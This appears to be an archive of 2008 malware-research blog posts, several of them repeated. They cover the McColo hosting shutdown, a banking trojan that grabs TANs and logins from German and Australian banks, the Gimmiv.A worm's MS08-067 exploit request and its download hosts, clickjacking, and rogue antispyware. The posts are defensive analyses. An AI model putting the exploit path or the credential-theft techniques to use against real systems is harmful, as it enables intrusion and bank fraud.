Last week we all witnessed the shutdown of the hosting provider McColo that was widely known for its affiliation with cyber criminals.
An attempt to understand what McColo business was and who stood behind it led to some interesting discoveries.
According to the evidence mined from multiple underground forums, McColo company was established by a 19-year old Moscow student. His name was Nikolai and his nickname was Kolya-McColo - hence, the name of his "business".
Nikolai, the founder of McColo, has died in a tragic accident in September 2007 during the drag racing on the streets of Moscow. At the time of the accident, he was in the car with his friend Jux. Their car has crashed into the pole at the speed of 200 Km/h - it was virtually torn in half:
McColo's friend, Jux, who was driving the car and who survived the accident, has once been slammed in the Russian hacking underground community as "kidala" (fraudster). Months before the accident, Jux has reportedly stolen some money from the "carders" (credit card fraudsters) who relied on his money laundering service.
In an attempt to find Jux, one of the "carders" has even sponsored the writing of a song to deliver "the message" to Jux. The lyrics of that song are quite intriguing (translated from Russian):
Poor architect Mr Smith has his credit card ripped off
He's calling for doctor but the doctor won't come
In the same time, one geek over computer gets heaps of cash
He finds a guinea-pig "drop" who gets caught by police
But all the leads are hidden smart so they fail to find anything
Hey user, watch out! Or, next time your money won't get to the beneficiary
Why? Because you're dealing with a pro who's breathing with Internet
He knows thousands of tricks, he's cool with writing any software or crack..
To get the money out of Internet he doesn't have to risk with a prison
Moreover, he can live in a house that has no neighbors
And his new BMW 7 is way better than his old bicycle
His account has lots of zeroes that will stay there even if his "drops" will get caught
We know one boy who was getting lots of cash by using WebMoney
He started spending a lot living life of the rich
From a humble guy he turned into a bighead
Once he gained trust from the "carders" and his profit was stable
While he was steadily sawing America with his virtual drill
Jux decided that now he wants more wealth
So, he sold his reputation off by stealing $50K from all the "carders" he knew
Without caring for his own life or whether he can be buried for what he did
So now we ask you, brother - where are you heading, what you gonna do now?
Are you going to eat in the restaurants and celebrate till the rest of your life?
Dollars, money - it's not what the real "carders" are living for
Hey, you - step aside, watch out!
We'll tear in pieces anyone who wants to steal from us
This track was named "About the carder Jux" and included into the album of one Russian rap group. You may listen to it here.
For those who don't know, "drop" in the slang of the hackers is an important element of the money laundering schemes - it's a person who agrees to receive the illegal money transferred to his or her account with the purpose of withdrawing the cash and handling it back to the person who asked for such service. The "drop" normally receives commission. If arrested by police, the "drop" insists that he or she knows nothing about the crime and has only agreed to help for a small reward. "Carders" hire "drops" to accept and then withdraw cash produced by their criminal cyber activity, e.g. funds that the "carders" steal from the compromised banking accounts.
Where did the "carders" host their exploits and malware? Where did they store data received from the malware that was implanted on the victims' computers? Where the spambots were operated from?
That's right - they used the service that Nikolai provided to them. It's called collaboration.
Just like in their rap anthem above, these guys had "all the leads hidden smart". Meanwhile, the security community was talking about McColo for years, drawing charts, staring at their fancy website with Cisco Systems and Hewlett-Packard indicated as the company’s partners, reading testimonials written by McColo's friends and evaluating the risk of being sued by a "legitimate business operating out of Delaware".
While all that really mattered was to stand up and shut it down, like Security Fix did. Good lesson from Brian Krebs for all of us indeed..
An attempt to understand what McColo business was and who stood behind it led to some interesting discoveries.
According to the evidence mined from multiple underground forums, McColo company was established by a 19-year old Moscow student. His name was Nikolai and his nickname was Kolya-McColo - hence, the name of his "business".
Nikolai, the founder of McColo, has died in a tragic accident in September 2007 during the drag racing on the streets of Moscow. At the time of the accident, he was in the car with his friend Jux. Their car has crashed into the pole at the speed of 200 Km/h - it was virtually torn in half:
McColo's friend, Jux, who was driving the car and who survived the accident, has once been slammed in the Russian hacking underground community as "kidala" (fraudster). Months before the accident, Jux has reportedly stolen some money from the "carders" (credit card fraudsters) who relied on his money laundering service.
In an attempt to find Jux, one of the "carders" has even sponsored the writing of a song to deliver "the message" to Jux. The lyrics of that song are quite intriguing (translated from Russian):
Poor architect Mr Smith has his credit card ripped off
He's calling for doctor but the doctor won't come
In the same time, one geek over computer gets heaps of cash
He finds a guinea-pig "drop" who gets caught by police
But all the leads are hidden smart so they fail to find anything
Hey user, watch out! Or, next time your money won't get to the beneficiary
Why? Because you're dealing with a pro who's breathing with Internet
He knows thousands of tricks, he's cool with writing any software or crack..
To get the money out of Internet he doesn't have to risk with a prison
Moreover, he can live in a house that has no neighbors
And his new BMW 7 is way better than his old bicycle
His account has lots of zeroes that will stay there even if his "drops" will get caught
We know one boy who was getting lots of cash by using WebMoney
He started spending a lot living life of the rich
From a humble guy he turned into a bighead
Once he gained trust from the "carders" and his profit was stable
While he was steadily sawing America with his virtual drill
Jux decided that now he wants more wealth
So, he sold his reputation off by stealing $50K from all the "carders" he knew
Without caring for his own life or whether he can be buried for what he did
So now we ask you, brother - where are you heading, what you gonna do now?
Are you going to eat in the restaurants and celebrate till the rest of your life?
Dollars, money - it's not what the real "carders" are living for
Hey, you - step aside, watch out!
We'll tear in pieces anyone who wants to steal from us
This track was named "About the carder Jux" and included into the album of one Russian rap group. You may listen to it here.
For those who don't know, "drop" in the slang of the hackers is an important element of the money laundering schemes - it's a person who agrees to receive the illegal money transferred to his or her account with the purpose of withdrawing the cash and handling it back to the person who asked for such service. The "drop" normally receives commission. If arrested by police, the "drop" insists that he or she knows nothing about the crime and has only agreed to help for a small reward. "Carders" hire "drops" to accept and then withdraw cash produced by their criminal cyber activity, e.g. funds that the "carders" steal from the compromised banking accounts.
Where did the "carders" host their exploits and malware? Where did they store data received from the malware that was implanted on the victims' computers? Where the spambots were operated from?
That's right - they used the service that Nikolai provided to them. It's called collaboration.
Just like in their rap anthem above, these guys had "all the leads hidden smart". Meanwhile, the security community was talking about McColo for years, drawing charts, staring at their fancy website with Cisco Systems and Hewlett-Packard indicated as the company’s partners, reading testimonials written by McColo's friends and evaluating the risk of being sued by a "legitimate business operating out of Delaware".
While all that really mattered was to stand up and shut it down, like Security Fix did. Good lesson from Brian Krebs for all of us indeed..
Thursday, November 13, 2008
One Tricky Banking Trojan
A routine inspection of ThreatExpert reports revealed a large number of submissions of a banking trojan that appears to be produced by the construction kit "Limbo 2".
An analysis of this trojan reveals a few interesting techniques that are enlisted below.
TAN Grabber
Transaction authentication number (TAN) is used as a two-factor authentication. It's basically a single-use password required to authorize the online banking transaction.
The bank normally generates a list of unique TAN numbers and handles it to the client. Any TAN from the list can be used only once. This way, it serves an additional security layer on top of traditional username/password authentication.
TANs are commonly used by German banks where the lists normally contain 100 unique numbers.
The banking trojan specifically attacks the clients of several online banking services that are known to rely on TAN. These banking services are registered on the following domains:
When the client enters a valid TAN number, the trojan intercepts that number and substitutes it with a random (incorrect) number that will be rejected by the bank. The contents of HTML page rendered by browser to the client is then filtered by the trojan so that the incorrect number is replaced again with the intercepted number - the user is shown that number in order to convince her that the number was entered correctly.
The intercepted (correct) TAN along with the user's login details is then posted to the hacker's website.
HTML Injection
Some variants of this trojan inject fake fields into the online banking forms that the browser displays to the user.
The additional fields are designed to collect details to help an attacker to impersonate the victim and/or compromise victim's account, such as credit card number, date of birth, and answers to the questions that are commonly asked during two-factor authentication.
The image below demonstrates extra fields added to the known online banking services. All intercepted details are also delivered to the remote site.
Form Grabber
Another interesting feature of this trojan is that it specifically targets several Australian financial institutions by inspecting the visited URL and the contents of the traffic by parsing POST requests and the returned HTML pages.
If the trojan detects that the client interacts with a pre-determined Australian bank, it will engage several techniques in an attempt to compromise the user account, as indicated below.
Firstly, the trojan seems to be able to easily compromise the "Scramble Pad" authentication employed by the Adelaide Bank.
Here is the contents of memory that the trojan dynamically allocates on the heap of the browser process:
The contents of the memory dump above represents a filter that the trojan uses to recognise and target Adelaide Bank's online banking service - the image below shows the actual online banking login window and the source of HTML that contains the strings recognised by the trojan (highlighted in blue):
As soon as the user enters "Customer Number" and provides "Personal Access Code" by typing letters from the Scramble Pad, the trojan easily intercepts the entered details. Considering that the Scramble Pad itself is a plain ASCII text (highlighted in the picture above in red), the account details are compromised with no obstruction.
Below is the actual contents of the trojan's heap memory once it intercepts the access code 12345 typed by using the Scramble Pad above as "GNDXT":
As seen in the picture, the trojan tags the intercepted details with 2 keywords: KEYLOGGED and KEYSREAD (presumably to reflect 2 different methods of grabbing the login form contents).
Other Australian financial institutions exclusively targeted by this trojan are:
This is evidenced with the following filters employed by the trojan:
NOTE: The "three Personal Icons" filter above will recognise the ACCU's two-factor authentication that is based on personal icons.
The trojan seems to be capable of intercepting data that is entered with the virtual keyboards too.
For example, below is the login window of the Citibank Australia:
During trojan analysis, there were fake details entered into the login form. Once specified, the memory contents of Internet Explorer was found to contain in plain text 37 instances of the User ID and 8 instances of the User Password - exactly as they were provided.
An example below shows one such instance. Please note that while VICTIM_ID word was typed on the keyboard, VICTIM_PASSWORD word was entered by using the virtual keyboard window:
As see on the picture, the contents of memory is visible for the trojan in plain ASCII text - it does not need to install any hooks into the chain of the keystroke handlers, and thus, can't be prevented with the host intrusion prevention systems.
Considering the intercepted data is then delivered via HTTP from the code running in the address space of Internet Explorer, the leakage of confidential data is transparent for the firewalls.
Another example demonstrates how the trojan intercepts login details for Netbank - the online banking service of the Commonwealth Bank of Australia:
As seen in the memory dump above, the trojan successfully intercepts fake login details (11220033, Victim_Password), tags them with the keywords KEYLOGGED and KEYSREAD, and encrypts them with XOR 0x0E in order to prepare the package for posting.
Analysis of this trojan leaves mixed feelings about the banks and the way they implement some two-factor authentication schemes.
What this trojan definitely proves is that current schemes employed by the online banking services need to be critically reviewed and significantly reinforced.
An analysis of this trojan reveals a few interesting techniques that are enlisted below.
TAN Grabber
Transaction authentication number (TAN) is used as a two-factor authentication. It's basically a single-use password required to authorize the online banking transaction.
The bank normally generates a list of unique TAN numbers and handles it to the client. Any TAN from the list can be used only once. This way, it serves an additional security layer on top of traditional username/password authentication.
TANs are commonly used by German banks where the lists normally contain 100 unique numbers.
The banking trojan specifically attacks the clients of several online banking services that are known to rely on TAN. These banking services are registered on the following domains:
- gad.de
- vr-networld-ebanking.de
- finanzportal.fiducia.de
- financepilot-trans.mlp.de
- citibank.de
- wuestenrot.de
- norisbank.de
When the client enters a valid TAN number, the trojan intercepts that number and substitutes it with a random (incorrect) number that will be rejected by the bank. The contents of HTML page rendered by browser to the client is then filtered by the trojan so that the incorrect number is replaced again with the intercepted number - the user is shown that number in order to convince her that the number was entered correctly.
The intercepted (correct) TAN along with the user's login details is then posted to the hacker's website.
HTML Injection
Some variants of this trojan inject fake fields into the online banking forms that the browser displays to the user.
The additional fields are designed to collect details to help an attacker to impersonate the victim and/or compromise victim's account, such as credit card number, date of birth, and answers to the questions that are commonly asked during two-factor authentication.
The image below demonstrates extra fields added to the known online banking services. All intercepted details are also delivered to the remote site.
Form Grabber
Another interesting feature of this trojan is that it specifically targets several Australian financial institutions by inspecting the visited URL and the contents of the traffic by parsing POST requests and the returned HTML pages.
If the trojan detects that the client interacts with a pre-determined Australian bank, it will engage several techniques in an attempt to compromise the user account, as indicated below.
Firstly, the trojan seems to be able to easily compromise the "Scramble Pad" authentication employed by the Adelaide Bank.
Here is the contents of memory that the trojan dynamically allocates on the heap of the browser process:
The contents of the memory dump above represents a filter that the trojan uses to recognise and target Adelaide Bank's online banking service - the image below shows the actual online banking login window and the source of HTML that contains the strings recognised by the trojan (highlighted in blue):
As soon as the user enters "Customer Number" and provides "Personal Access Code" by typing letters from the Scramble Pad, the trojan easily intercepts the entered details. Considering that the Scramble Pad itself is a plain ASCII text (highlighted in the picture above in red), the account details are compromised with no obstruction.
Below is the actual contents of the trojan's heap memory once it intercepts the access code 12345 typed by using the Scramble Pad above as "GNDXT":
As seen in the picture, the trojan tags the intercepted details with 2 keywords: KEYLOGGED and KEYSREAD (presumably to reflect 2 different methods of grabbing the login form contents).
Other Australian financial institutions exclusively targeted by this trojan are:
- Australian Central Credit Union
- Police & Nurses Credit Society
- Citibank Australia
- Commonwealth Bank of Australia
This is evidenced with the following filters employed by the trojan:
NOTE: The "three Personal Icons" filter above will recognise the ACCU's two-factor authentication that is based on personal icons.
The trojan seems to be capable of intercepting data that is entered with the virtual keyboards too.
For example, below is the login window of the Citibank Australia:
During trojan analysis, there were fake details entered into the login form. Once specified, the memory contents of Internet Explorer was found to contain in plain text 37 instances of the User ID and 8 instances of the User Password - exactly as they were provided.
An example below shows one such instance. Please note that while VICTIM_ID word was typed on the keyboard, VICTIM_PASSWORD word was entered by using the virtual keyboard window:
As see on the picture, the contents of memory is visible for the trojan in plain ASCII text - it does not need to install any hooks into the chain of the keystroke handlers, and thus, can't be prevented with the host intrusion prevention systems.
Considering the intercepted data is then delivered via HTTP from the code running in the address space of Internet Explorer, the leakage of confidential data is transparent for the firewalls.
Another example demonstrates how the trojan intercepts login details for Netbank - the online banking service of the Commonwealth Bank of Australia:
As seen in the memory dump above, the trojan successfully intercepts fake login details (11220033, Victim_Password), tags them with the keywords KEYLOGGED and KEYSREAD, and encrypts them with XOR 0x0E in order to prepare the package for posting.
Analysis of this trojan leaves mixed feelings about the banks and the way they implement some two-factor authentication schemes.
What this trojan definitely proves is that current schemes employed by the online banking services need to be critically reviewed and significantly reinforced.
Thursday, October 23, 2008
Gimmiv.A exploits critical vulnerability (MS08-067)
Critical vulnerability in Server Service has only been patched by Microsoft (MS08-067), as a new worm called Gimmiv.A has found to be exploiting it in-the-wild.
Once executed, the worm will drop 3 files: winbase.dll, basesvc.dll and syicon.dll into the directory %System%\Wbem\basesvc.dll.
It will then install and start up a new service called BaseSvc with the display name "Windows NT Baseline". The service BaseSvc will force svchost.exe to load the DLL winbase.dll which is specified as a ServiceDll parameter for BaseSvc.
Once loaded, winbase.dll will load 2 additional DLLs into the address space of the system process services.exe: basesvc.dll and syicon.dll.
After dropping and loading the aforementioned DLLs, the worm will collect system information from the compromised computer, collect passwords from the Windows protected storage and Outlook Express passwords cache, and post collected details to a remote host. The details are posted in an encrypted form, by using AES (Rijndael) encryption.
The collected information seems to specify if the following AV products are found to be installed on the compromised system:
Details collected by Gimmiv.A are then posted to a personal profile of the user "perlbody", hosted with http://www.t35.com hosting provider. At this time, the collected details are displayed at this link.
At the time of this writing, there are 3,695 entries in that file. Every line contains an encrypted string, which could potentially conceal current victims' details, indirectly indicating how many victims have been compromised by this worm so far.
The worm also fetches a few files from the following locations:
One of the downloaded files is a GIF image shown below:
The most interesting part of this worm is implemented in the DLL basesvc.dll. This DLL is responsible for the network functionality of Gimmiv.A.
What needs to be clarified here, is that the exploit MS08-067 used by Gimmiv.A allows remote code execution, which makes it potentially "wormable". Considering that the vector of attack is RPC DCOM and the code is similar to typical RPC DCOM network-aware worms, which is used against other hosts in the network, Gimmiv.A is determined in this post as a worm. However, it could technically be classified as a network-aware trojan that employs functionality of a typical RPC DCOM network-aware worm to attack other hosts in the network.
Gimmiv.A starts from probing other IPs from the same network by sending them a sequence of bytes "abcde" or "12345". The worm then attempts to exploit other machines by sending them a malformed RPC request and relying on a vulnerable Server service. As known, Server service uses a named pipe SRVSVC as its RPC interface, which is registered with UUID equal to 4b324fc8-1670-01d3-1278-5a47bf6ee188. In order to attack it, the worm firstly attempts to bind SRVSVC by constructing the following RPC request:
Next, Gimmiv.A submits a maliciously crafted RPC request that instructs SRVSVC to canonicalize a path "\c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" by calling the vulnerable RPC request NetPathCanonicalize, as shown in the traffic dump below (thanks to Don Jackson from SecureWorks for the provided dump):
As this is a critical exploit, Microsoft strongly recommends that users apply the update referred to in Security Bulletin MS08-067 immediately.
Once executed, the worm will drop 3 files: winbase.dll, basesvc.dll and syicon.dll into the directory %System%\Wbem\basesvc.dll.
It will then install and start up a new service called BaseSvc with the display name "Windows NT Baseline". The service BaseSvc will force svchost.exe to load the DLL winbase.dll which is specified as a ServiceDll parameter for BaseSvc.
Once loaded, winbase.dll will load 2 additional DLLs into the address space of the system process services.exe: basesvc.dll and syicon.dll.
After dropping and loading the aforementioned DLLs, the worm will collect system information from the compromised computer, collect passwords from the Windows protected storage and Outlook Express passwords cache, and post collected details to a remote host. The details are posted in an encrypted form, by using AES (Rijndael) encryption.
The collected information seems to specify if the following AV products are found to be installed on the compromised system:
- BitDefender Antivirus
- Jiangmin Antivirus
- Kingsoft Internet Security
- Kaspersky Antivirus
- Microsoft's OneCare Protection
- Rising Antivirus
- Trend Micro
Details collected by Gimmiv.A are then posted to a personal profile of the user "perlbody", hosted with http://www.t35.com hosting provider. At this time, the collected details are displayed at this link.
At the time of this writing, there are 3,695 entries in that file. Every line contains an encrypted string, which could potentially conceal current victims' details, indirectly indicating how many victims have been compromised by this worm so far.
The worm also fetches a few files from the following locations:
- http://summertime.1gokurimu.com
- http://perlbody.t35.com
- http://doradora.atzend.com
One of the downloaded files is a GIF image shown below:
The most interesting part of this worm is implemented in the DLL basesvc.dll. This DLL is responsible for the network functionality of Gimmiv.A.
What needs to be clarified here, is that the exploit MS08-067 used by Gimmiv.A allows remote code execution, which makes it potentially "wormable". Considering that the vector of attack is RPC DCOM and the code is similar to typical RPC DCOM network-aware worms, which is used against other hosts in the network, Gimmiv.A is determined in this post as a worm. However, it could technically be classified as a network-aware trojan that employs functionality of a typical RPC DCOM network-aware worm to attack other hosts in the network.
Gimmiv.A starts from probing other IPs from the same network by sending them a sequence of bytes "abcde" or "12345". The worm then attempts to exploit other machines by sending them a malformed RPC request and relying on a vulnerable Server service. As known, Server service uses a named pipe SRVSVC as its RPC interface, which is registered with UUID equal to 4b324fc8-1670-01d3-1278-5a47bf6ee188. In order to attack it, the worm firstly attempts to bind SRVSVC by constructing the following RPC request:
Next, Gimmiv.A submits a maliciously crafted RPC request that instructs SRVSVC to canonicalize a path "\c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" by calling the vulnerable RPC request NetPathCanonicalize, as shown in the traffic dump below (thanks to Don Jackson from SecureWorks for the provided dump):
As this is a critical exploit, Microsoft strongly recommends that users apply the update referred to in Security Bulletin MS08-067 immediately.
Friday, October 10, 2008
Genuine Advantage for Rogue Antispyware
That’s quite funny – the latest build of the rogue antispyware “AntiVirus2010” now fakes BSoD and complains about activation:
What’s next – popping up an annoying message "This copy of AntiVirus2010 is not genuine. You may be a victim of software counterfeiting"?
What’s next – popping up an annoying message "This copy of AntiVirus2010 is not genuine. You may be a victim of software counterfeiting"?
Monday, October 6, 2008
Fun with Click and Jack
Clickjacking - a relatively new trick that can potentially be used for malicious purposes under any browser/OS platform.
There is not much known yet on what exactly has been discovered by Robert Hansen and Jeremiah Grossman, as they pulled their presentation from OWASP AppSec NY 2008 "due to vendor request". As a result, many researchers started playing around with the proof-of-concept code, and came up with some really interesting demos.
To explain the concept of clickjacking, it could be helpful to recall one of the memorable episodes from the movie "Fun with Dick and Jane" (2005):
Dick Harper: I don't care... I don't care. I'm not walking out of this bank empty-handed.
Jack McCallister: ...Alright. Alright, Dick, I'm gonna write you a check... So, here you go. Just a little something to show you what I think you're worth [hands him a check for $100]
All Dick Harper needed was to get McCallister's signature. His wife, Jane Harper, was then able to forge it. While Jack McCallister was tricked by Dick Harper to sign a document that had no value to him, his signature was "hijacked" to sign a different document (worth millions of dollars).
Clickjacking is based on a similar principle: to convince the end user to provide information that does not seem to have any value to the user, but factually has power over the user's assets or ID, if applied in a particular context.
One such possible scenario is outlined below.
When user has an active online banking session, any particular transaction means particular controls clicked in a particular order. An attacker can make a guess that his victim is currently logged on, and thus, sends an instant message to the victim with an invitation to click a link to the attacker's own website.
The forged website will try to conceal the online banking website (with the victim currently logged on as the previous session was not terminated) inside an invisible frame, as shown on the picture below:
Any clicks submitted by the victim to the forged website will eventually be handled by the transparent (but still active) frame. In the example above, the victim may unintentionally add a new login name to his/her account that could now be used by the attacker.
So far, the danger of clickjacking remains purely hypothetical and there are no confirmed cases of malicious clickjacking “in-the-wild”.
Nevertheless, until transparent frames are treated as a feature (not a bug), it’s worth keeping in mind that there are potential ways of compromising users without implanting malicious code.
There is not much known yet on what exactly has been discovered by Robert Hansen and Jeremiah Grossman, as they pulled their presentation from OWASP AppSec NY 2008 "due to vendor request". As a result, many researchers started playing around with the proof-of-concept code, and came up with some really interesting demos.
To explain the concept of clickjacking, it could be helpful to recall one of the memorable episodes from the movie "Fun with Dick and Jane" (2005):
Dick Harper: I don't care... I don't care. I'm not walking out of this bank empty-handed.
Jack McCallister: ...Alright. Alright, Dick, I'm gonna write you a check... So, here you go. Just a little something to show you what I think you're worth [hands him a check for $100]
All Dick Harper needed was to get McCallister's signature. His wife, Jane Harper, was then able to forge it. While Jack McCallister was tricked by Dick Harper to sign a document that had no value to him, his signature was "hijacked" to sign a different document (worth millions of dollars).
Clickjacking is based on a similar principle: to convince the end user to provide information that does not seem to have any value to the user, but factually has power over the user's assets or ID, if applied in a particular context.
One such possible scenario is outlined below.
When user has an active online banking session, any particular transaction means particular controls clicked in a particular order. An attacker can make a guess that his victim is currently logged on, and thus, sends an instant message to the victim with an invitation to click a link to the attacker's own website.
The forged website will try to conceal the online banking website (with the victim currently logged on as the previous session was not terminated) inside an invisible frame, as shown on the picture below:
Any clicks submitted by the victim to the forged website will eventually be handled by the transparent (but still active) frame. In the example above, the victim may unintentionally add a new login name to his/her account that could now be used by the attacker.
So far, the danger of clickjacking remains purely hypothetical and there are no confirmed cases of malicious clickjacking “in-the-wild”.
Nevertheless, until transparent frames are treated as a feature (not a bug), it’s worth keeping in mind that there are potential ways of compromising users without implanting malicious code.
Thursday, August 21, 2008
Beware Good Spyware or "The road to hell is paved with good intentions"
A new anti-piracy software solution was recently presented in this article.
Marketed as "an intelligence gathering tool", the described software "rather than trying to prevent unauthorized use of software, collects data on how and where it is used, and then stealthily sends it back to the software's maker".
Oh, dear. The old phantoms of AV industry keep coming back over and over again in the form of good worms, good spyware, and "white-listing" panacea against all the bad guys.
To better understand this one, it might help recalling the Magic Lantern key logger, developed by FBI.
At that time, it was reported that "other proposed high-technology responses to the threat of terrorism are coming from industry, Congress and elsewhere ... a controversial system installed on a criminal suspect's computer by the government to capture the encryption passwords of a criminal suspect is nearing its second phase; the F.B.I. has acknowledged that it is developing a similar monitoring system, called Magic Lantern, that could be installed remotely."
Sounds familiar, doesn’t it? Just a different "good intention".
Indeed, exactly as St. Bernard of Clairvaux (circa 1150) once said "L'enfer est plein de bonnes volontés ou désirs".
And yeah, just to recall what was the professional response to the Magic Lantern idea (Graham Cluley, Sophos Anti-Virus Inc.): "We have no way of knowing if it was written by the FBI, and even if we did, we wouldn’t know whether it was being used by the FBI or if it had been commandeered by a third party."
Marketed as "an intelligence gathering tool", the described software "rather than trying to prevent unauthorized use of software, collects data on how and where it is used, and then stealthily sends it back to the software's maker".
Oh, dear. The old phantoms of AV industry keep coming back over and over again in the form of good worms, good spyware, and "white-listing" panacea against all the bad guys.
To better understand this one, it might help recalling the Magic Lantern key logger, developed by FBI.
At that time, it was reported that "other proposed high-technology responses to the threat of terrorism are coming from industry, Congress and elsewhere ... a controversial system installed on a criminal suspect's computer by the government to capture the encryption passwords of a criminal suspect is nearing its second phase; the F.B.I. has acknowledged that it is developing a similar monitoring system, called Magic Lantern, that could be installed remotely."
Sounds familiar, doesn’t it? Just a different "good intention".
Indeed, exactly as St. Bernard of Clairvaux (circa 1150) once said "L'enfer est plein de bonnes volontés ou désirs".
And yeah, just to recall what was the professional response to the Magic Lantern idea (Graham Cluley, Sophos Anti-Virus Inc.): "We have no way of knowing if it was written by the FBI, and even if we did, we wouldn’t know whether it was being used by the FBI or if it had been commandeered by a third party."
Saturday, August 9, 2008
ThreatExpert is under attack
The malware community has came up with an idea of what they call “a reliable detection” if a threat is being analyzed by ThreatExpert.
The code of such detection has been distributed in underground malware forums a few days ago.
This “discovery” was a bit surprising to us, but what followed it makes us believe ThreatExpert automation has finally pissed these guys off: a few hours ago, there was a massive DDoS attack launched against threatexpert.com.
We are currently working to resolve this problem. What these attacks really mean to us is that ThreatExpert is really working against them.
Update: the DDoS attack was successfully blocked within a few hours since it started.
The code of such detection has been distributed in underground malware forums a few days ago.
This “discovery” was a bit surprising to us, but what followed it makes us believe ThreatExpert automation has finally pissed these guys off: a few hours ago, there was a massive DDoS attack launched against threatexpert.com.
We are currently working to resolve this problem. What these attacks really mean to us is that ThreatExpert is really working against them.
Update: the DDoS attack was successfully blocked within a few hours since it started.
Friday, August 8, 2008
New hacker attack – this time with the real bombs
According to the Russian media agency Interfax, the website of the Ministry of Internal Affairs of Georgia has been defaced it with a collage of the Georgian President Saakashvili and Adolf Hitler photos.
The hacker attack coincides with the war conflict that spilled over the region of South Ossetia.
The hacker attack coincides with the war conflict that spilled over the region of South Ossetia.
Thursday, July 24, 2008
ThreatExpert on VirusTotal
Our colleagues at Hispasec Sistemas have integrated ThreatExpert report URLs into VirusTotal - a free multi-AV online scanner.
Thanks Julio! ¡Gracias Alejandro!
Now, if submit a sample to VirusTotal and that sample has already been processed by ThreatExpert, the VirusTotal results will display a link to an existing ThreatExpert report, as shown below:
Thanks Julio! ¡Gracias Alejandro!
Now, if submit a sample to VirusTotal and that sample has already been processed by ThreatExpert, the VirusTotal results will display a link to an existing ThreatExpert report, as shown below:
Tuesday, July 22, 2008
“Testimaniac Testimanials”
As reported by Larry Seltzer from PC Magazine, one rogue anti-spyware product claims to have won a number of awards, including the PC Magazine Editors' Choice and Best of 2005. Of course, it did not win any such awards.
Factually, rogue anti-spyware employs typical biological mimicry, that "occurs when a group of organisms, the mimics, have evolved to share common perceived characteristics with another group, the models.." [source: Wikipedia]
An interesting research on mimicry has recently been published by ScienceDaily. According to the article [Hannah Rowlands, UK], "Previous studies have suggested that the relationship between two look-alike species is parasitic, whereby a 'tastier' insect reaps all the benefits of resembling a more unpalatable species. Scientists have argued that predators may get confused as to which species is most edible and which is not, resulting in them eating more of the unpalatable species than they normally would have done."
Applicable to rogue anti-spyware, it means that legitimate software vendors were believed to be the only ones to suffer from the declined sales as the customers would feel "confused as to which species is most edible and which is not" and thus resulting in them consuming more of the "unpalatable" (rogue) anti-spyware products.
Please note that when this mimicry analogy is applied in our case, the logic needs to be inversed - i.e. when the 'tastier' insect reaps the benefit of staying alive (not being eaten), the software company suffers as its product is not purchased by the end customer, and vice versa.
The recent study, however, suggests that "the two species .. do not undermine each other and benefit mutually from looking like each other" [Hannah Rowlands].
This translates to the fact that both rogue anti-spyware and legitimate software will inevitably suffer.
The researcher claims: "We coated some of the almonds in a non-toxic chemical which gave them a nasty taste, while others were moderately distasteful and some were left to taste simply of almonds. The birds in our aviary learnt to avoid the highly distasteful species quicker than the moderately distasteful ones. The 'tastier' species still benefited, however, in that the birds eventually learnt that in order to stop mistakenly eating the distasteful prey, they must stop eating both species altogether."
The new study sends a clear message to the authors of rogue anti-spyware: legitimate software will inevitably suffer, but not at the cost of the product consumption distracted by rogue anti-spyware (what they hope to achieve). It will suffer because the customer, who buys anti-spyware software, will stop buying both rogue and legitimate software, "in order to stop mistakenly eating the distasteful prey".
In simple terms, rogue anti-spyware is not a winner in a "win-lose" situation, as it clearly creates a "lose-lose" condition with no winner at all.
Unfortunately, these simple facts must still be too difficult to understand for so many, who could easily achieve much more by building real and demanded software solutions.
Factually, rogue anti-spyware employs typical biological mimicry, that "occurs when a group of organisms, the mimics, have evolved to share common perceived characteristics with another group, the models.." [source: Wikipedia]
An interesting research on mimicry has recently been published by ScienceDaily. According to the article [Hannah Rowlands, UK], "Previous studies have suggested that the relationship between two look-alike species is parasitic, whereby a 'tastier' insect reaps all the benefits of resembling a more unpalatable species. Scientists have argued that predators may get confused as to which species is most edible and which is not, resulting in them eating more of the unpalatable species than they normally would have done."
Applicable to rogue anti-spyware, it means that legitimate software vendors were believed to be the only ones to suffer from the declined sales as the customers would feel "confused as to which species is most edible and which is not" and thus resulting in them consuming more of the "unpalatable" (rogue) anti-spyware products.
Please note that when this mimicry analogy is applied in our case, the logic needs to be inversed - i.e. when the 'tastier' insect reaps the benefit of staying alive (not being eaten), the software company suffers as its product is not purchased by the end customer, and vice versa.
The recent study, however, suggests that "the two species .. do not undermine each other and benefit mutually from looking like each other" [Hannah Rowlands].
This translates to the fact that both rogue anti-spyware and legitimate software will inevitably suffer.
The researcher claims: "We coated some of the almonds in a non-toxic chemical which gave them a nasty taste, while others were moderately distasteful and some were left to taste simply of almonds. The birds in our aviary learnt to avoid the highly distasteful species quicker than the moderately distasteful ones. The 'tastier' species still benefited, however, in that the birds eventually learnt that in order to stop mistakenly eating the distasteful prey, they must stop eating both species altogether."
The new study sends a clear message to the authors of rogue anti-spyware: legitimate software will inevitably suffer, but not at the cost of the product consumption distracted by rogue anti-spyware (what they hope to achieve). It will suffer because the customer, who buys anti-spyware software, will stop buying both rogue and legitimate software, "in order to stop mistakenly eating the distasteful prey".
In simple terms, rogue anti-spyware is not a winner in a "win-lose" situation, as it clearly creates a "lose-lose" condition with no winner at all.
Unfortunately, these simple facts must still be too difficult to understand for so many, who could easily achieve much more by building real and demanded software solutions.